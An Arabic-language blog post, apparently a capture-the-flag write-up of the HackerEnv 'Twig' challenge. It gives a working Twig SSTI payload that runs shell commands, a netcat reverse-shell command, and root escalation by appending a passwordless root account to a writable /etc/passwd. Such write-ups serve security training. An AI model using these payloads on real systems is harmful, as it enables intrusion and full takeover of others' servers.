HackerEnv-حل تحدي Twig

0xRawمنذ 3 سنوات

سلام وعليكم ..

اليوم بشرح لكم تحدي Twig في منصة HackerEnv علما ان هذي اول مقالة انشرها اتمنى تنال على اعجابكم

فالبداية نستعمل nmap  لفحص الايبي وعشان نشوف البورتات المفتوحه:

nmap -p- 10.0.101.1

حلو طلع بورت 80 http مفتوح معناته انه صفحه ويب

  1. نتصفح على الموقع بشكل طبيعي بس قبل كل شي حنا ناس نحب نشوف Source Code للموقع نشوف ان فيه تلميحه ان الموقع يستعمل Twig هو (web template engine)
  2. اذا كنت ماتعرف وش الثغرات اللي ممكن تحصلها قوقل ممكن يساعدك اكتب Twig Engine Vulenrabilites

حلو الحين بعد ماعرفنا ان الموقع فيه احتماليه انه يكون مصاب بثغرة SSTI (Server Side Template Injection) 

طيب سؤال وش هو web template engine و server side template injection؟

مع تطور البرمجيات اصبح حاليا كثير من اللغات البرمجية لديها web template engine مثلا PHP لديها Twig وبايثون لديها Jinja مثلا والكثير الكثير

الweb template engine هي (لجعل عمل Front-end developer أسهل في تحسين الصفحة اللتي تظهر للمستخدم) لكن عندما يكون هناك مدخل غير آمن للمستخدم يستطيع منه تنفيذ Template Content هنا تحدث ثغرة SSTI .

"مقتبس من حبيبنا 1337xroot"

 

تمام الحين نجرب نسجل طبيعي كأي user نشوف الرد:

نلاحظ انه يرجع لنا الاسم اللي سجلت فيه بما ان الparameter الوحيد اللي يرجع لنا نتيجة هو user خلنا نستغله بنكتب

{{3*3}}

    اذا اظهر لنا 9 كناتج معناته ان الموقع مصاب ونقدر نستغله لـRCE(Remote Code Execution)

حلوين حصلنا الاثبات الحين نبدا نستغله نكتب بالـparameter حق الـuser

{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}

 

ناخذ reverse shell عشان نقدر نتصل بالـtarget ونقدر ننفذ الاوامر بكل سهوله 

الحين نفك لنا listener على البورت 4444 نفتح التيرمنال ونكتب 

nc -lvp 4444

 

بعدها ننفذ الـpayload هذا :

{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("nc 10.0.101.1 4444 -e /bin/sh")}}

والحين صار عندنا reverse shell بالتريمنال نبي نخليه interacitve shell نروح التيرمنال ونكتب هذا الامر :

python3 -c "import pty; pty.spawn('/bin/bash');"

 

الحين لو نرجع نشوف الـinstructions بالموقع يقولون بتحصل الفلاق فالمسارين ذي:

فلو نلاحظ بالصورة حنا بـ/var/www/html

كل اللي نحتاجه نسوي 

cd ..
ls -l

وحصلنا اول Flag 

الحين لازم ناخذ صلاحيات الـroot عشان نقدر نشوف المسار حقه ونحصل الفلاق الثاني تمام الحين عرفنا الهدف حقنا وش ممكن نسوي ؟

اللي ممكن نسويه اننا نشوف الصلاحيات على اهم ملفين :

  • etc/passwd/
  • etc/shadow/

 عن طريق الامر :

ls -l /etc/passwd /etc/shadow

الغريب هنا ان ملف الـpasswd قابل للكتابه عليه (writable passwd) 

طيب خلنا نسوي cat نشوف وش السالفه

ملاحظة x تعني ان الباسورد مخزن في ملف /etc/shadow وتقدر تشوف هذي المقاله عشان تفهم اكثر

طيب ليه مانختصر الموضوع وناخذ الباس من هناك؟ مانقدر , لان ماعندنا permission فا لازم نسوي user بصلاحيات الـroot طيب كيف ؟

بسيطه دام نقدر نكتب عليه نسوي echo للملف

echo "0xRaw::0:0:root:/root:/bin/bash" >> /etc/passwd
//X= اللي كانت بالصوره معناته ان الباسورد متخزن في ملف 
//     /etc/shadow
//   etc/shadow عشان ما يبحث في ال x هنا شلنا ال

نسوي cat مره ثانيه بنشوف ان اليوزر انضاف 

الحين بكل بساطه نسوي switch user

su - 0xRaw

//su - اسم اليوزر

حلو الحين جبنا الـroot

الحين بس نسوي 

ls -l /root/

 

وبكذا حصلنا كل الفلاقات اتمنى ان الشرح كان كافي ووافي 

اذا اخطأت فمن الشيطان وان اصبت فمن الله 

في امان الله ..

 

                                                                                                                                                         Twitter | 0xRaw

3
إعجاب
1633
مشاهدات
1
مشاركة
1
متابع

التعليقات (0)

لايوجد لديك حساب في عالم البرمجة؟

تحب تنضم لعالم البرمجة؟ وتنشئ عالمك الخاص، تنشر المقالات، الدورات، تشارك المبرمجين وتساعد الآخرين، اشترك الآن بخطوات يسيرة !